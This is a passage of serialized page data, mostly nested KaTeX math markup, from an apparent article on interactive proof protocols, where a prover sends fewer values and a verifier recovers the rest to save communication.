22532],[110995],{"type":27,"value":2109},{"type":21,"tag":198,"props":110997,"children":110999},{"className":110998,"style":4998},[4901],[],{"type":21,"tag":198,"props":111001,"children":111003},{"className":111002},[5003],[111004],{"type":27,"value":3174},{"type":21,"tag":198,"props":111006,"children":111008},{"className":111007,"style":4998},[4901],[],{"type":21,"tag":198,"props":111010,"children":111012},{"className":111011},[4811],[111013,111017,111088,111092,111096,111102,111106],{"type":21,"tag":198,"props":111014,"children":111016},{"className":111015,"style":110829},[4816],[],{"type":21,"tag":198,"props":111018,"children":111020},{"className":111019},[4822],[111021,111026],{"type":21,"tag":198,"props":111022,"children":111024},{"className":111023,"style":93663},[4822,22381],[111025],{"type":27,"value":93666},{"type":21,"tag":198,"props":111027,"children":111029},{"className":111028},[4837],[111030],{"type":21,"tag":198,"props":111031,"children":111033},{"className":111032},[4842,22435],[111034,111077],{"type":21,"tag":198,"props":111035,"children":111037},{"className":111036},[4847],[111038,111072],{"type":21,"tag":198,"props":111039,"children":111041},{"className":111040,"style":93958},[4852],[111042],{"type":21,"tag":198,"props":111043,"children":111044},{"style":110858},[111045,111049],{"type":21,"tag":198,"props":111046,"children":111048},{"className":111047,"style":4862},[4861],[],{"type":21,"tag":198,"props":111050,"children":111052},{"className":111051},[4867,4868,4869,4870],[111053],{"type":21,"tag":198,"props":111054,"children":111056},{"className":111055},[4822,4870],[111057,111062,111067],{"type":21,"tag":198,"props":111058,"children":111060},{"className":111059},[4822,22381,4870],[111061],{"type":27,"value":4544},{"type":21,"tag":198,"props":111063,"children":111065},{"className":111064},[4907,4870],[111066],{"type":27,"value":4881},{"type":21,"tag":198,"props":111068,"children":111070},{"className":111069},[4822,4870],[111071],{"type":27,"value":134},{"type":21,"tag":198,"props":111073,"children":111075},{"className":111074},[22538],[111076],{"type":27,"value":22541},{"type":21,"tag":198,"props":111078,"children":111080},{"className":111079},[4847],[111081],{"type":21,"tag":198,"props":111082,"children":111084},{"className":111083,"style":110899},[4852],[111085],{"type":21,"tag":198,"props":111086,"children":111087},{},[],{"type":21,"tag":198,"props":111089,"children":111091},{"className":111090,"style":4998},[4901],[],{"type":21,"tag":198,"props":111093,"children":111095},{"className":111094,"style":4998},[4901],[],{"type":21,"tag":198,"props":111097,"children":111099},{"className":111098},[5003],[111100],{"type":27,"value":111101},"⟹",{"type":21,"tag":198,"props":111103,"children":111105},{"className":111104,"style":4998},[4901],[],{"type":21,"tag":198,"props":111107,"children":111109},{"className":111108,"style":4998},[4901],[],{"type":21,"tag":198,"props":111111,"children":111113},{"className":111112},[4811],[111114,111118,111123,111127,111132],{"type":21,"tag":198,"props":111115,"children":111117},{"className":111116,"style":93344},[4816],[],{"type":21,"tag":198,"props":111119,"children":111121},{"className":111120},[4822,22381],[111122],{"type":27,"value":4029},{"type":21,"tag":198,"props":111124,"children":111126},{"className":111125,"style":4998},[4901],[],{"type":21,"tag":198,"props":111128,"children":111130},{"className":111129},[5003],[111131],{"type":27,"value":3174},{"type":21,"tag":198,"props":111133,"children":111135},{"className":111134,"style":4998},[4901],[],{"type":21,"tag":198,"props":111137,"children":111139},{"className":111138},[4811],[111140,111144,111215,111219,111224],{"type":21,"tag":198,"props":111141,"children":111143},{"className":111142,"style":110829},[4816],[],{"type":21,"tag":198,"props":111145,"children":111147},{"className":111146},[4822],[111148,111153],{"type":21,"tag":198,"props":111149,"children":111151},{"className":111150,"style":93663},[4822,22381],[111152],{"type":27,"value":93666},{"type":21,"tag":198,"props":111154,"children":111156},{"className":111155},[4837],[111157],{"type":21,"tag":198,"props":111158,"children":111160},{"className":111159},[4842,22435],[111161,111204],{"type":21,"tag":198,"props":111162,"children":111164},{"className":111163},[4847],[111165,111199],{"type":21,"tag":198,"props":111166,"children":111168},{"className":111167,"style":93958},[4852],[111169],{"type":21,"tag":198,"props":111170,"children":111171},{"style":110858},[111172,111176],{"type":21,"tag":198,"props":111173,"children":111175},{"className":111174,"style":4862},[4861],[],{"type":21,"tag":198,"props":111177,"children":111179},{"className":111178},[4867,4868,4869,4870],[111180],{"type":21,"tag":198,"props":111181,"children":111183},{"className":111182},[4822,4870],[111184,111189,111194],{"type":21,"tag":198,"props":111185,"children":111187},{"className":111186},[4822,22381,4870],[111188],{"type":27,"value":4544},{"type":21,"tag":198,"props":111190,"children":111192},{"className":111191},[4907,4870],[111193],{"type":27,"value":4881},{"type":21,"tag":198,"props":111195,"children":111197},{"className":111196},[4822,4870],[111198],{"type":27,"value":134},{"type":21,"tag":198,"props":111200,"children":111202},{"className":111201},[22538],[111203],{"type":27,"value":22541},{"type":21,"tag":198,"props":111205,"children":111207},{"className":111206},[4847],[111208],{"type":21,"tag":198,"props":111209,"children":111211},{"className":111210,"style":110899},[4852],[111212],{"type":21,"tag":198,"props":111213,"children":111214},{},[],{"type":21,"tag":198,"props":111216,"children":111218},{"className":111217,"style":4902},[4901],[],{"type":21,"tag":198,"props":111220,"children":111222},{"className":111221},[4907],[111223],{"type":27,"value":4881},{"type":21,"tag":198,"props":111225,"children":111227},{"className":111226,"style":4902},[4901],[],{"type":21,"tag":198,"props":111229,"children":111231},{"className":111230},[4811],[111232,111236,111241],{"type":21,"tag":198,"props":111233,"children":111235},{"className":111234,"style":94460},[4816],[],{"type":21,"tag":198,"props":111237,"children":111239},{"className":111238},[4822],[111240],{"type":27,"value":3931},{"type":21,"tag":198,"props":111242,"children":111244},{"className":111243},[4822,22381],[111245],{"type":27,"value":34},{"type":21,"tag":30,"props":111247,"children":111248},{},[111249,111251,111370,111372,111397],{"type":27,"value":111250},"So the prover only sends ",{"type":21,"tag":194,"props":111252,"children":111254},{"className":111253},[4794,4795],[111255],{"type":21,"tag":198,"props":111256,"children":111258},{"className":111257},[4800],[111259],{"type":21,"tag":198,"props":111260,"children":111262},{"className":111261,"ariaHidden":4806},[4805],[111263,111290],{"type":21,"tag":198,"props":111264,"children":111266},{"className":111265},[4811],[111267,111272,111277,111281,111286],{"type":21,"tag":198,"props":111268,"children":111271},{"className":111269,"style":111270},[4816],"height:0.4306em;",[],{"type":21,"tag":198,"props":111273,"children":111275},{"className":111274},[4822,22381],[111276],{"type":27,"value":34},{"type":21,"tag":198,"props":111278,"children":111280},{"className":111279,"style":4998},[4901],[],{"type":21,"tag":198,"props":111282,"children":111284},{"className":111283},[5003],[111285],{"type":27,"value":3174},{"type":21,"tag":198,"props":111287,"children":111289},{"className":111288,"style":4998},[4901],[],{"type":21,"tag":198,"props":111291,"children":111293},{"className":111292},[4811],[111294,111298,111355,111360,111365],{"type":21,"tag":198,"props":111295,"children":111297},{"className":111296,"style":4922},[4816],[],{"type":21,"tag":198,"props":111299,"children":111301},{"className":111300},[4822],[111302,111307],{"type":21,"tag":198,"props":111303,"children":111305},{"className":111304,"style":93915},[4822,22381],[111306],{"type":27,"value":109680},{"type":21,"tag":198,"props":111308,"children":111310},{"className":111309},[4837],[111311],{"type":21,"tag":198,"props":111312,"children":111314},{"className":111313},[4842,22435],[111315,111344],{"type":21,"tag":198,"props":111316,"children":111318},{"className":111317},[4847],[111319,111339],{"type":21,"tag":198,"props":111320,"children":111322},{"className":111321,"style":93958},[4852],[111323],{"type":21,"tag":198,"props":111324,"children":111325},{"style":93962},[111326,111330],{"type":21,"tag":198,"props":111327,"children":111329},{"className":111328,"style":4862},[4861],[],{"type":21,"tag":198,"props":111331,"children":111333},{"className":111332},[4867,4868,4869,4870],[111334],{"type":21,"tag":198,"props":111335,"children":111337},{"className":111336},[4822,22381,4870],[111338],{"type":27,"value":4544},{"type":21,"tag":198,"props":111340,"children":111342},{"className":111341},[22538],[111343],{"type":27,"value":22541},{"type":21,"tag":198,"props":111345,"children":111347},{"className":111346},[4847],[111348],{"type":21,"tag":198,"props":111349,"children":111351},{"className":111350,"style":93512},[4852],[111352],{"type":21,"tag":198,"props":111353,"children":111354},{},[],{"type":21,"tag":198,"props":111356,"children":111358},{"className":111357},[22510],[111359],{"type":27,"value":706},{"type":21,"tag":198,"props":111361,"children":111363},{"className":111362},[4822],[111364],{"type":27,"value":3482},{"type":21,"tag":198,"props":111366,"children":111368},{"className":111367},[22532],[111369],{"type":27,"value":2109},{"type":27,"value":111371},", and the verifier recovers ",{"type":21,"tag":194,"props":111373,"children":111375},{"className":111374},[4794,4795],[111376],{"type":21,"tag":198,"props":111377,"children":111379},{"className":111378},[4800],[111380],{"type":21,"tag":198,"props":111381,"children":111383},{"className":111382,"ariaHidden":4806},[4805],[111384],{"type":21,"tag":198,"props":111385,"children":111387},{"className":111386},[4811],[111388,111392],{"type":21,"tag":198,"props":111389,"children":111391},{"className":111390,"style":93344},[4816],[],{"type":21,"tag":198,"props":111393,"children":111395},{"className":111394},[4822,22381],[111396],{"type":27,"value":4029},{"type":27,"value":111398},". This saves 50% on communication costs.",{"type":21,"tag":30,"props":111400,"children":111401},{},[111402],{"type":27,"value":111403},"The next claim in the chain is",{"type":21,"tag":30,"props":111405,"children":111406},{},[111407],{"type":21,"tag":194,"props":111408,"children":111410},{"className":111409},[4794,4795],[111411],{"type":21,"tag":198,"props":111412,"children":111414},{"className":111413},[4800],[111415],{"type":21,"tag":198,"props":111416,"children":111418},{"className":111417,"ariaHidden":4806},[4805],[111419,111498,111643,111669,111696,111774,111800,111897,111933,112011,112047,112135,112227],{"type":21,"tag":198,"props":111420,"children":111422},{"className":111421},[4811],[111423,111428,111485,111489,111494],{"type":21,"tag":198,"props":111424,"children":111427},{"className":111425,"style":111426},[4816],"height:0.8333em;vertical-align:-0.15em;",[],{"type":21,"tag":198,"props":111429,"children":111431},{"className":111430},[4822],[111432,111437],{"type":21,"tag":198,"props":111433,"children":111435},{"className":111434,"style":93663},[4822,22381],[111436],{"type":27,"value":93666},{"type":21,"tag":198,"props":111438,"children":111440},{"className":111439},[4837],[111441],{"type":21,"tag":198,"props":111442,"children":111444},{"className":111443},[4842,22435],[111445,111474],{"type":21,"tag":198,"props":111446,"children":111448},{"className":111447},[4847],[111449,111469],{"type":21,"tag":198,"props":111450,"children":111452},{"className":111451,"style":93958},[4852],[111453],{"type":21,"tag":198,"props":111454,"children":111455},{"style":110858},[111456,111460],{"type":21,"tag":198,"props":111457,"children":111459},{"className":111458,"style":4862},[4861],[],{"type":21,"tag":198,"props":111461,"children":111463},{"className":111462},[4867,4868,4869,4870],[111464],{"type":21,"tag":198,"props":111465,"children":111467},{"className":111466},[4822,22381,4870],[111468],{"type":27,"value":4544},{"type":21,"tag":198,"props":111470,"children":111472},{"className":111471},[22538],[111473],{"type":27,"value":22541},{"type":21,"tag":198,"props":111475,"children":111477},{"className":111476},[4847],[111478],{"type":21,"tag":198,"props":111479,"children":111481},{"className":111480,"style":93512},[4852],[111482],{"type":21,"tag":198,"props":111483,"children":111484},{},[],{"type":21,"tag":198,"props":111486,"children":111488},{"className":111487,"style":4998},[4901],[],{"type":21,"tag":198,"props":111490,"children":111492},{"className":111491},[5003],[111493],{"type":27,"value":3174},{"type":21,"tag":198,"props":111495,"children":111497},{"className":111496,"style":4998},[4901],[],{"type":21,"tag":198,"props":111499,"children":111501},{"className":111500},[4811],[111502,111506,111563,111568,111625,111630,111634,111639],{"type":21,"tag":198,"props":111503,"children":111505},{"className":111504,"style":4922},[4816],[],{"type":21,"tag":198,"props":111507,"children":111509},{"className":111508},[4822],[111510,111515],{"type":21,"tag":198,"props":111511,"children":111513},{"className":111512,"style":93915},[4822,22381],[111514],{"type":27,"value":109680},{"type":21,"tag":198,"props":111516,"children":111518},{"className":111517},[4837],[111519],{"type":21,"tag":198,"props":111520,"children":111522},{"className":111521},[4842,22435],[111523,111552],{"type":21,"tag":198,"props":111524,"children":111526},{"className":111525},[4847],[111527,111547],{"type":21,"tag":198,"props":111528,"children":111530},{"className":111529,"style":93958},[4852],[111531],{"type":21,"tag":198,"props":111532,"children":111533},{"style":93962},[111534,111538],{"type":21,"tag":198,"props":111535,"children":111537},{"className":111536,"style":4862},[4861],[],{"type":21,"tag":198,"props":111539,"children":111541},{"className":111540},[4867,4868,4869,4870],[111542],{"type":21,"tag":198,"props":111543,"children":111545},{"className":111544},[4822,22381,4870],[111546],{"type":27,"value":4544},{"type":21,"tag":198,"props":111548,"children":111550},{"className":111549},[22538],[111551],{"type":27,"value":22541},{"type":21,"tag":198,"props":111553,"children":111555},{"className":111554},[4847],[111556],{"type":21,"tag":198,"props":111557,"children":111559},{"className":111558,"style":93512},[4852],[111560],{"type":21,"tag":198,"props":111561,"children":111562},{},[],{"type":21,"tag":198,"props":111564,"children":111566},{"className":111565},[22510],[111567],{"type":27,"value":706},{"type":21,"tag":198,"props":111569,"children":111571},{"className":111570},[4822],[111572,111577],{"type":21,"tag":198,"props":111573,"children":111575},{"className":111574,"style":93429},[4822,22381],[111576],{"type":27,"value":94248},{"type":21,"tag":198,"props":111578,"children":111580},{"className":111579},[4837],[111581],{"type":21,"tag":198,"props":111582,"children":111584},{"className":111583},[4842,22435],[111585,111614],{"type":21,"tag":198,"props":111586,"children":111588},{"className":111587},[4847],[111589,111609],{"type":21,"tag":198,"props":111590,"children":111592},{"className":111591,"style":93958},[4852],[111593],{"type":21,"tag":198,"props":111594,"children":111595},{"style":110428},[111596,111600],{"type":21,"tag":198,"props":111597,"children":111599},{"className":111598,"style":4862},[4861],[],{"type":21,"tag":198,"props":111601,"children":111603},{"className":111602},[4867,4868,4869,4870],[111604],{"type":21,"tag":198,"props":111605,"children":111607},{"className":111606},[4822,22381,4870],[111608],{"type":27,"value":4544},{"type":21,"tag":198,"props":111610,"children":111612},{"className":111611},[22538],[111613],{"type":27,"value":22541},{"type":21,"tag":198,"props":111615,"children":111617},{"className":111616},[4847],[111618],{"type":21,"tag":198,"props":111619,"children":111621},{"className":111620,"style":93512},[4852],[111622],{"type":21,"tag":198,"props":111623,"children":111624},{},[],{"type":21,"tag":198,"props":111626,"children":111628},{"className":111627},[22532],[111629],{"type":27,"value":2109},{"type":21,"tag":198,"props":111631,"children":111633},{"className":111632,"style":4998},[4901],[],{"type":21,"tag":198,"props":111635,"children":111637},{"className":111636},[5003],[111638],{"type":27,"value":3174},{"type":21,"tag":198,"props":111640,"children":111642},{"className":111641,"style":4998},[4901],[],{"type":21,"tag":198,"props":111644,"children":111646},{"className":111645},[4811],[111647,111651,111656,111660,111665],{"type":21,"tag":198,"props":111648,"children":111650},{"className":111649,"style":110584},[4816],[],{"type":21,"tag":198,"props":111652,"children":111654},{"className":111653},[4822,22381],[111655],{"type":27,"value":34},{"type":21,"tag":198,"props":111657,"children":111659},{"className":111658,"style":4902},[4901],[],{"type":21,"tag":198,"props":111661,"children":111663},{"className":111662},[4907],[111664],{"type":27,"value":5193},{"type":21,"tag":198,"props":111666,"children":111668},{"className":111667,"style":4902},[4901],[],{"type":21,"tag":198,"props":111670,"children":111672},{"className":111671},[4811],[111673,111677,111682,111686,111692],{"type":21,"tag":198,"props":111674,"children":111676},{"className":111675,"style":93344},[4816],[],{"type":21,"tag":198,"props":111678,"children":111680},{"className":111679},[4822,22381],[111681],{"type":27,"value":4029},{"type":21,"tag":198,"props":111683,"children":111685},{"className":111684,"style":4902},[4901],[],{"type":21,"tag":198,"props":111687,"children":111689},{"className":111688},[4907],[111690],{"type":27,"value":111691},"⋅",{"type":21,"tag":198,"props":111693,"children":111695},{"className":111694,"style":4902},[4901],[],{"type":21,"tag":198,"props":111697,"children":111699},{"className":111698},[4811],[111700,111704,111761,111765,111770],{"type":21,"tag":198,"props":111701,"children":111703},{"className":111702,"style":110399},[4816],[],{"type":21,"tag":198,"props":111705,"children":111707},{"className":111706},[4822],[111708,111713],{"type":21,"tag":198,"props":111709,"children":111711},{"className":111710,"style":93429},[4822,22381],[111712],{"type":27,"value":94248},{"type":21,"tag":198,"props":111714,"children":111716},{"className":111715},[4837],[111717],{"type":21,"tag":198,"props":111718,"children":111720},{"className":111719},[4842,22435],[111721,111750],{"type":21,"tag":198,"props":111722,"children":111724},{"className":111723},[4847],[111725,111745],{"type":21,"tag":198,"props":111726,"children":111728},{"className":111727,"style":93958},[4852],[111729],{"type":21,"tag":198,"props":111730,"children":111731},{"style":110428},[111732,111736],{"type":21,"tag":198,"props":111733,"children":111735},{"className":111734,"style":4862},[4861],[],{"type":21,"tag":198,"props":111737,"children":111739},{"className":111738},[4867,4868,4869,4870],[111740],{"type":21,"tag":198,"props":111741,"children":111743},{"className":111742},[4822,22381,4870],[111744],{"type":27,"value":4544},{"type":21,"tag":198,"props":111746,"children":111748},{"className":111747},[22538],[111749],{"type":27,"value":22541},{"type":21,"tag":198,"props":111751,"children":111753},{"className":111752},[4847],[111754],{"type":21,"tag":198,"props":111755,"children":111757},{"className":111756,"style":93512},[4852],[111758],{"type":21,"tag":198,"props":111759,"children":111760},{},[],{"type":21,"tag":198,"props":111762,"children":111764},{"className":111763,"style":4998},[4901],[],{"type":21,"tag":198,"props":111766,"children":111768},{"className":111767},[5003],[111769],{"type":27,"value":3174},{"type":21,"tag":198,"props":111771,"children":111773},{"className":111772,"style":4998},[4901],[],{"type":21,"tag":198,"props":111775,"children":111777},{"className":111776},[4811],[111778,111782,111787,111791,111796],{"type":21,"tag":198,"props":111779,"children":111781},{"className":111780,"style":110584},[4816],[],{"type":21,"tag":198,"props":111783,"children":111785},{"className":111784},[4822,22381],[111786],{"type":27,"value":34},{"type":21,"tag":198,"props":111788,"children":111790},{"className":111789,"style":4902},[4901],[],{"type":21,"tag":198,"props":111792,"children":111794},{"className":111793},[4907],[111795],{"type":27,"value":5193},{"type":21,"tag":198,"props":111797,"children":111799},{"className":111798,"style":4902},[4901],[],{"type":21,"tag":198,"props":111801,"children":111803},{"className":111802},[4811],[111804,111808,111813,111884,111888,111893],{"type":21,"tag":198,"props":111805,"children":111807},{"className":111806,"style":4922},[4816],[],{"type":21,"tag":198,"props":111809,"children":111811},{"className":111810},[22510],[111812],{"type":27,"value":706},{"type":21,"tag":198,"props":111814,"children":111816},{"className":111815},[4822],[111817,111822],{"type":21,"tag":198,"props":111818,"children":111820},{"className":111819,"style":93663},[4822,22381],[111821],{"type":27,"value":93666},{"type":21,"tag":198,"props":111823,"children":111825},{"className":111824},[4837],[111826],{"type":21,"tag":198,"props":111827,"children":111829},{"className":111828},[4842,22435],[111830,111873],{"type":21,"tag":198,"props":111831,"children":111833},{"className":111832},[4847],[111834,111868],{"type":21,"tag":198,"props":111835,"children":111837},{"className":111836,"style":93958},[4852],[111838],{"type":21,"tag":198,"props":111839,"children":111840},{"style":110858},[111841,111845],{"type":21,"tag":198,"props":111842,"children":111844},{"className":111843,"style":4862},[4861],[],{"type":21,"tag":198,"props":111846,"children":111848},{"className":111847},[4867,4868,4869,4870],[111849],{"type":21,"tag":198,"props":111850,"children":111852},{"className":111851},[4822,4870],[111853,111858,111863],{"type":21,"tag":198,"props":111854,"children":111856},{"className":111855},[4822,22381,4870],[111857],{"type":27,"value":4544},{"type":21,"tag":198,"props":111859,"children":111861},{"className":111860},[4907,4870],[111862],{"type":27,"value":4881},{"type":21,"tag":198,"props":111864,"children":111866},{"className":111865},[4822,4870],[111867],{"type":27,"value":134},{"type":21,"tag":198,"props":111869,"children":111871},{"className":111870},[22538],[111872],{"type":27,"value":22541},{"type":21,"tag":198,"props":111874,"children":111876},{"className":111875},[4847],[111877],{"type":21,"tag":198,"props":111878,"children":111880},{"className":111879,"style":110899},[4852],[111881],{"type":21,"tag":198,"props":111882,"children":111883},{},[],{"type":21,"tag":198,"props":111885,"children":111887},{"className":111886,"style":4902},[4901],[],{"type":21,"tag":198,"props":111889,"children":111891},{"className":111890},[4907],[111892],{"type":27,"value":4881},{"type":21,"tag":198,"props":111894,"children":111896},{"className":111895,"style":4902},[4901],[],{"type":21,"tag":198,"props":111898,"children":111900},{"className":111899},[4811],[111901,111905,111910,111915,111920,111924,111929],{"type":21,"tag":198,"props":111902,"children":111904},{"className":111903,"style":4922},[4816],[],{"type":21,"tag":198,"props":111906,"children":111908},{"className":111907},[4822],[111909],{"type":27,"value":3931},{"type":21,"tag":198,"props":111911,"children":111913},{"className":111912},[4822,22381],[111914],{"type":27,"value":34},{"type":21,"tag":198,"props":111916,"children":111918},{"className":111917},[22532],[111919],{"type":27,"value":2109},{"type":21,"tag":198,"props":111921,"children":111923},{"className":111922,"style":4902},[4901],[],{"type":21,"tag":198,"props":111925,"children":111927},{"className":111926},[4907],[111928],{"type":27,"value":111691},{"type":21,"tag":198,"props":111930,"children":111932},{"className":111931,"style":4902},[4901],[],{"type":21,"tag":198,"props":111934,"children":111936},{"className":111935},[4811],[111937,111941,111998,112002,112007],{"type":21,"tag":198,"props":111938,"children":111940},{"className":111939,"style":110399},[4816],[],{"type":21,"tag":198,"props":111942,"children":111944},{"className":111943},[4822],[111945,111950],{"type":21,"tag":198,"props":111946,"children":111948},{"className":111947,"style":93429},[4822,22381],[111949],{"type":27,"value":94248},{"type":21,"tag":198,"props":111951,"children":111953},{"className":111952},[4837],[111954],{"type":21,"tag":198,"props":111955,"children":111957},{"className":111956},[4842,22435],[111958,111987],{"type":21,"tag":198,"props":111959,"children":111961},{"className":111960},[4847],[111962,111982],{"type":21,"tag":198,"props":111963,"children":111965},{"className":111964,"style":93958},[4852],[111966],{"type":21,"tag":198,"props":111967,"children":111968},{"style":110428},[111969,111973],{"type":21,"tag":198,"props":111970,"children":111972},{"className":111971,"style":4862},[4861],[],{"type":21,"tag":198,"props":111974,"children":111976},{"className":111975},[4867,4868,4869,4870],[111977],{"type":21,"tag":198,"props":111978,"children":111980},{"className":111979},[4822,22381,4870],[111981],{"type":27,"value":4544},{"type":21,"tag":198,"props":111983,"children":111985},{"className":111984},[22538],[111986],{"type":27,"value":22541},{"type":21,"tag":198,"props":111988,"children":111990},{"className":111989},[4847],[111991],{"type":21,"tag":198,"props":111992,"children":111994},{"className":111993,"style":93512},[4852],[111995],{"type":21,"tag":198,"props":111996,"children":111997},{},[],{"type":21,"tag":198,"props":111999,"children":112001},{"className":112000,"style":4998},[4901],[],{"type":21,"tag":198,"props":112003,"children":112005},{"className":112004},[5003],[112006],{"type":27,"value":3174},{"type":21,"tag":198,"props":112008,"children":112010},{"className":112009,"style":4998},[4901],[],{"type":21,"tag":198,"props":112012,"children":112014},{"className":112013},[4811],[112015,112019,112024,112029,112034,112038,112043],{"type":21,"tag":198,"props":112016,"children":112018},{"className":112017,"style":4922},[4816],[],{"type":21,"tag":198,"props":112020,"children":112022},{"className":112021},[4822,22381],[112023],{"type":27,"value":34},{"type":21,"tag":198,"props":112025,"children":112027},{"className":112026},[22510],[112028],{"type":27,"value":706},{"type":21,"tag":198,"props":112030,"children":112032},{"className":112031},[4822],[112033],{"type":27,"value":134},{"type":21,"tag":198,"props":112035,"children":112037},{"className":112036,"style":4902},[4901],[],{"type":21,"tag":198,"props":112039,"children":112041},{"className":112040},[4907],[112042],{"type":27,"value":4881},{"type":21,"tag":198,"props":112044,"children":112046},{"className":112045,"style":4902},[4901],[],{"type":21,"tag":198,"props":112048,"children":112050},{"className":112049},[4811],[112051,112055,112060,112117,112122,112126,112131],{"type":21,"tag":198,"props":112052,"children":112054},{"className":112053,"style":4922},[4816],[],{"type":21,"tag":198,"props":112056,"children":112058},{"className":112057},[4822],[112059],{"type":27,"value":3931},{"type":21,"tag":198,"props":112061,"children":112063},{"className":112062},[4822],[112064,112069],{"type":21,"tag":198,"props":112065,"children":112067},{"className":112066,"style":93429},[4822,22381],[112068],{"type":27,"value":94248},{"type":21,"tag":198,"props":112070,"children":112072},{"className":112071},[4837],[112073],{"type":21,"tag":198,"props":112074,"children":112076},{"className":112075},[4842,22435],[112077,112106],{"type":21,"tag":198,"props":112078,"children":112080},{"className":112079},[4847],[112081,112101],{"type":21,"tag":198,"props":112082,"children":112084},{"className":112083,"style":93958},[4852],[112085],{"type":21,"tag":198,"props":112086,"children":112087},{"style":110428},[112088,112092],{"type":21,"tag":198,"props":112089,"children":112091},{"className":112090,"style":4862},[4861],[],{"type":21,"tag":198,"props":112093,"children":112095},{"className":112094},[4867,4868,4869,4870],[112096],{"type":21,"tag":198,"props":112097,"children":112099},{"className":112098},[4822,22381,4870],[112100],{"type":27,"value":4544},{"type":21,"tag":198,"props":112102,"children":112104},{"className":112103},[22538],[112105],{"type":27,"value":22541},{"type":21,"tag":198,"props":112107,"children":112109},{"className":112108},[4847],[112110],{"type":21,"tag":198,"props":112111,"children":112113},{"className":112112,"style":93512},[4852],[112114],{"type":21,"tag":198,"props":112115,"children":112116},{},[],{"type":21,"tag":198,"props":112118,"children":112120},{"className":112119},[22532],[112121],{"type":27,"value":2109},{"type":21,"tag":198,"props":112123,"children":112125},{"className":112124,"style":4902},[4901],[],{"type":21,"tag":198,"props":112127,"children":112129},{"className":112128},[4907],[112130],{"type":27,"value":5193},{"type":21,"tag":198,"props":112132,"children":112134},{"className":112133,"style":4902},[4901],[],{"type":21,"tag":198,"props":112136,"children":112138},{"className":112137},[4811],[112139,112143,112214,112218,112223],{"type":21,"tag":198,"props":112140,"children":112142},{"className":112141,"style":110829},[4816],[],{"type":21,"tag":198,"props":112144,"children":112146},{"className":112145},[4822],[112147,112152],{"type":21,"tag":198,"props":112148,"children":112150},{"className":112149,"style":93663},[4822,22381],[112151],{"type":27,"value":93666},{"type":21,"tag":198,"props":112153,"children":112155},{"className":112154},[4837],[112156],{"type":21,"tag":198,"props":112157,"children":112159},{"className":112158},[4842,22435],[112160,112203],{"type":21,"tag":198,"props":112161,"children":112163},{"className":112162},[4847],[112164,112198],{"type":21,"tag":198,"props":112165,"children":112167},{"className":112166,"style":93958},[4852],[112168],{"type":21,"tag":198,"props":112169,"children":112170},{"style":110858},[112171,112175],{"type":21,"tag":198,"props":112172,"children":112174},{"className":112173,"style":4862},[4861],[],{"type":21,"tag":198,"props":112176,"children":112178},{"className":112177},[4867,4868,4869,4870],[112179],{"type":21,"tag":198,"props":112180,"children":112182},{"className":112181},[4822,4870],[112183,112188,112193],{"type":21,"tag":198,"props":112184,"children":112186},{"className":112185},[4822,22381,4870],[112187],{"type":27,"value":4544},{"type":21,"tag":198,"props":112189,"children":112191},{"className":112190},[4907,4870],[112192],{"type":27,"value":4881},{"type":21,"tag":198,"props":112194,"children":112196},{"className":112195},[4822,4870],[112197],{"type":27,"value":134},{"type":21,"tag":198,"props":112199,"children":112201},{"className":112200},[22538],[112202],{"type":27,"value":22541},{"type":21,"tag":198,"props":112204,"children":112206},{"className":112205},[4847],[112207],{"type":21,"tag":198,"props":112208,"children":112210},{"className":112209,"style":110899},[4852],[112211],{"type":21,"tag":198,"props":112212,"children":112213},{},[],{"type":21,"tag":198,"props":112215,"children":112217},{"className":112216,"style":4902},[4901],[],{"type":21,"tag":198,"props":112219,"children":112221},{"className":112220},[4907],[112222],{"type":27,"value":111691},{"type":21,"tag":198,"props":112224,"children":112226},{"className":112225,"style":4902},[4901],[],{"type":21,"tag":198,"props":112228,"children":112230},{"className":112229},[4811],[112231,112235],{"type":21,"tag":198,"props":112232,"children":112234},{"className":112233,"style":110399},[4816],[],{"type":21,"tag":198,"props":112236,"children":112238},{"className":112237},[4822],[112239,112244],{"type":21,"tag":198,"props":112240,"children":112242},{"className":112241,"style":93429},[4822,22381],[112243],{"type":27,"value":94248},{"type":21,"tag":198,"props":112245,"children":112247},{"className":112246},[4837],[112248],{"type":21,"tag":198,"props":112249,"children":112251},{"className":112250},[4842,22435],[112252,112281],{"type":21,"tag":198,"props":112253,"children":112255},{"className":112254},[4847],[112256,112276],{"type":21,"tag":198,"props":112257,"children":112259},{"className":112258,"style":93958},[4852],[112260],{"type":21,"tag":198,"props":112261,"children":112262},{"style":110428},[112263,112267],{"type":21,"tag":198,"props":112264,"children":112266},{"className":112265,"style":4862},[4861],[],{"type":21,"tag":198,"props":112268,"children":112270},{"className":112269},[4867,4868,4869,4870],[112271],{"type":21,"tag":198,"props":112272,"children":112274},{"className":112273},[4822,22381,4870],[112275],{"type":27,"value":4544},{"type":21,"tag":198,"props":112277,"children":112279},{"className":112278},[22538],[112280],{"type":27,"value":22541},{"type":21,"tag":198,"props":112282,"children":112284},{"className":112283},[4847],[112285],{"type":21,"tag":198,"props":112286,"children":112288},{"className":112287,"style":93512},[4852],[112289],{"type":21,"tag":198,"props":112290,"children":112291},{},[],{"type":21,"tag":30,"props":112293,"children":112294},{},[112295,112296,112392,112394,112419,112421,112446],{"type":27,"value":46894},{"type":21,"tag":6137,"props":112297,"children":112298},{},[112299,112301],{"type":27,"value":112300},"linear in ",{"type":21,"tag":194,"props":112302,"children":112304},{"className":112303},[4794,4795],[112305],{"type":21,"tag":198,"props":112306,"children":112308},{"className":112307},[4800],[112309],{"type":21,"tag":198,"props":112310,"children":112312},{"className":112311,"ariaHidden":4806},[4805],[112313],{"type":21,"tag":198,"props":112314,"children":112316},{"className":112315},[4811],[112317,112321],{"type":21,"tag":198,"props":112318,"children":112320},{"className":112319,"style":110829},[4816],[],{"type":21,"tag":198,"props":112322,"children":112324},{"className":112323},[4822],[112325,112330],{"type":21,"tag":198,"props":112326,"children":112328},{"className":112327,"style":93663},[4822,22381],[112329],{"type":27,"value":93666},{"type":21,"tag":198,"props":112331,"children":112333},{"className":112332},[4837],[112334],{"type":21,"tag":198,"props":112335,"children":112337},{"className":112336},[4842,22435],[112338,112381],{"type":21,"tag":198,"props":112339,"children":112341},{"className":112340},[4847],[112342,112376],{"type":21,"tag":198,"props":112343,"children":112345},{"className":112344,"style":93958},[4852],[112346],{"type":21,"tag":198,"props":112347,"children":112348},{"style":110858},[112349,112353],{"type":21,"tag":198,"props":112350,"children":112352},{"className":112351,"style":4862},[4861],[],{"type":21,"tag":198,"props":112354,"children":112356},{"className":112355},[4867,4868,4869,4870],[112357],{"type":21,"tag":198,"props":112358,"children":112360},{"className":112359},[4822,4870],[112361,112366,112371],{"type"